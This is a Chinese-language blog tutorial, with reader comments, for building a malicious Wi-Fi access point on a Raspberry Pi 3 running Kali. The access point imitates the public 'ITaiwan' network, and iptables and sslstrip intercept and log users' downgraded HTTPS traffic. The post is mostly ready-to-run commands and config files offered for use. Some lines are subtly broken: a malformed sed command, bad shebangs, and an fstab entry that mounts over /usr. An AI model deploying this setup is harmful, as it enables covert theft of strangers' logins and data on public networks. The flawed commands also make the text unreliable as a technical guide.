2016年5月7日 星期六

用樹莓派3 (RaspBerry Pi3) 進行 sslstrip 中間人攻擊

相較於其他版本的樹莓派,Pi3已內建 Wi-Fi ,不用額外購買 Wi-Fi網卡,使得硬體需求更加簡潔。建立惡意基地臺的步驟如下:
一、建立Kali系統
(一)除了一片Pi3的主機板外,當然還需要一片 micro SD,建立選擇 16GB的容量。
(二)利用目前使用的Kali環境下載 Pi3 的Kali 映象檔。
wget -c  https://images.offensive-security.com/arm-images/kali-2.1.2-rpi2.img.xz
xz -d kali-2.1.2-rpi2.img.xz                #解壓縮後得到  kali-2.1.2-rpi2.img
(三)將  Kali 映象檔燒錄至 micro SD 中。
dd if=kali-2.1.2-rpi2.img of=/dev/sdb bs=512k
(四)將micro SD插入 Pi3,並連接鍵盤、滑鼠及螢幕後,啟動 Pi3。
(五)如果順利,應該會進行 Kali 的圖形登入畫面,帳號/密碼為:root / toor
二、基本環境設定
原始的Kali環境並不符合需要,略做調整如下:
(一)移除 apache2 (因為不需拿它做網站,故移除)
apt-get remove --purge apache2
(二)移除圖形介面(XWindow)  (我的功能單純,不需圖形介面,故移除)
apt-get remove --purge x11-common
(三)在 /etc/apt/sources.list 中加入三組套件來源
deb http://http.kali.org/kali kali-dev main contrib non-free
deb http://http.kali.org/kali kali-dev main/debian-installer
deb-src http://http.kali.org/kali kali-dev main contrib non-free
(四)重新開機,開機後會進入文字模式 (因已移除 XWindow) ,帳號/密碼依然是:root / toor
(五)重整套件快取及進行升級
apt-get update
apt-get upgrade
(六)安裝所需的套件
apt-get install locate            # 檔案搜尋工具
apt-get install dnsmasq      # dns 及 dhcp 工具
apt-get install hostapd        # wi-fi AP 服務
apt-get install sslstrip         # 中間人攻擊
三、設定基地臺
(一) 編輯 /etc/network/interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet dhcp

auto wlan0
iface wlan0 inet static
address 192.168.200.1
netmask 255.255.255.0

pop-up /etc/init.d/dnsmasq start
pop-down /etc/init.d/dnsmasq stop
(二)編輯 /etc/dnsmasq.conf
log-facility=/var/log/dnsmasq.log
resolv-file=/etc/dnsmasq.resolv.conf

server=8.8.8.8
server=8.8.4.4
server=168.95.192.1
cache-size=2000

listen-address=192.168.200.1           # 由 wlan0 提供 dhcp 服務給上線的使用者
interface = wlan0
dhcp-range=wlan0,192.168.200.100,192.168.200.200,12h     # dhcp spool
dhcp-option=wlan0,1,255.255.255.0               # netmask
dhcp-option=wlan0,3,192.168.200.1              # default gateway
dhcp-option=wlan0,28,192.168.6.255          #broadcast
log-queries
log-dhcp
(三)編輯 /etc/dnsmasq.resolv.conf
nameserver 8.8.8.8
nameserver 8.8.4.4
nameserver 168.95.192.1
(四)編輯 /etc/hostapd/hostapd.conf  
interface=wlan0
driver=nl80211
ssid=ITaiwan
channel=7
hw_mode=g
wpa=0
auth_algs=1
# 如果需要密碼可以加設
# wpa_passphrase=你要指定的密碼
# wpa_key_mgmt=WPA-PSK
# wpa_pairwise=TKIP CCMP
(五)測試 /etc/dnsmasq.conf 及 /etc/hostapd/hostapd.conf,如果輸出的訊息中有任何 Error 都要修正。
dnsmasq -C /etc/dnsmasq.conf --test
hostapd -dd /etc/hostapd/hostapd.conf
四、設定 iptables
iptables -t nat -F
iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE
iptables -A FORWARD -i wlan0 -o ppp0 -j ACCEPT
iptables-save
五、建立執行腳本 (直接建在根目錄)
(一)建立 start_ap 腳本
#!/bin/ bash
/etc/init.d/networking start
ifconfig wlan0 up
if [ ! -z $1 ];then
  sed -i "s#^ssid=.*# ssid=$1*" /etc/hostapd/hostapd.conf
fi
echo '1' > /proc/sys/net/ipv4/ip_forward       #啟動封包轉送功能
dnsmasq stop
dnsmasq -C /etc/dnsmasq.conf
hostapd /etc/hostapd/hostapd.conf
(二)建立 ap_iptables 腳本
#!/bin/ bash
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000
sslstrip -l 10000 -w /tmp/sslstrip.log     # 接收端口 10000, 寫到 /tmp/sslstrip.log 中,注意:只要重新開機,/tmp/sslstrip.log  就會消失,如果要永久儲存,請選擇其它目錄

(三)將腳本設為可執行
chmod +x start_ap
chmod +x ap_iptables
六、啟動基地臺
(一)請重新開機,然後:
1. 在 terminal 1 執行   /start_ap,如果要指定基地臺的 ssid,可加參數成為
/start_ap NewSSID
2. 在 terminal 2 執行   /ap_iptables
(二)如果只執行 /start_ap 就是當成一般基地臺,如果兩者都執行就成為惡意基地臺
(三)可以查看 /tmp/sslstrip.log 的內容,即攔截到的訊息。

到這裡算是完成了,但16GB的micro SD 只用了 8GB,剩下的8GB將做為 sslstrip.log 的儲存區

fdisk /dev/mmcblk0                    # mmcblk0 是記憶卡的設備代號
 Command (m for help): n         # n 表建立新分割區
 Partition type
 p primary (2 primary, 0 extended, 2 free)
 e extended (container for logical partitions)
 Select (default p): p                   # 選擇建立主要分割區
 Partition number (3,4, default 3): 3        # 選擇3
 First sector (14336000-31116287, default 14336000): (直接按ENTER 即可
 Last sector, +sectors or +size{K,M,G,T,P} (14336000-31116287, default
31116287:(直接按ENTER
 Created a new partition 3 of type 'Linux' and of size 8 GiB.
# 建立成功,分割區容量為 8GB

重新開機,讓分割區生效
mkfs -t ext4 /dev/mmcblk0p3          #進行格式化

mkdir /ssl_log                                   #建立掛載的目錄

編輯 /etc/fstab ,加入下面這一行,使得開機時自動掛載
/dev/mmcblk0p3 /usr ext4 defaults 0 2

將 ap_iptables 中的  sslstrip -l 10000 -w /tmp/sslstrip.log 改成 sslstrip -l 10000 -w /ssl_log/sslstrip.log

6 則留言:

  1. 想請教陳老師如何在Pi3 kali開機後自動執行start_ap呢?
    我試過修改lightdm-autologin為自動登入,
    將start_ap放到init.d,ln 到 rcS.d,
    好像是WiFi Driver還未載入或WiFi相關軟体還沒有驅動引發錯誤。

    回覆刪除
    回覆
    1. 我還沒試過這種方法,可否讓我研究之後再回答您。

      刪除
    2. 陳老師我是一樓,後來試出來了,在kali裡,start_ap要ln到rc5.d,開機後就會自動執行了,跟你分享~

      刪除
    3. 感謝您的分享,也讓我學到一招,:)

      刪除
  2. 想請問陳老師要如何解決Pi3 kali執行到第三步時,最後一行測試的指令沒有過
    他出現Failed to create interface mon.wlan0: -95 (Operation not supported)

    回覆刪除
    回覆
    1. 如果你是使用Pi3內建的無線網卡,因為它的driver並不支援monitor模式,必須改用外網「特定」型號的網卡才行(airmon-ng有支援的網卡)。
      請參考:https://security.stackexchange.com/questions/121538/turn-rpi3-wi-fi-adapter-into-monitor-mode-using-airmon-ng
      及https://www.aircrack-ng.org/doku.php?id=compatible_cards

      刪除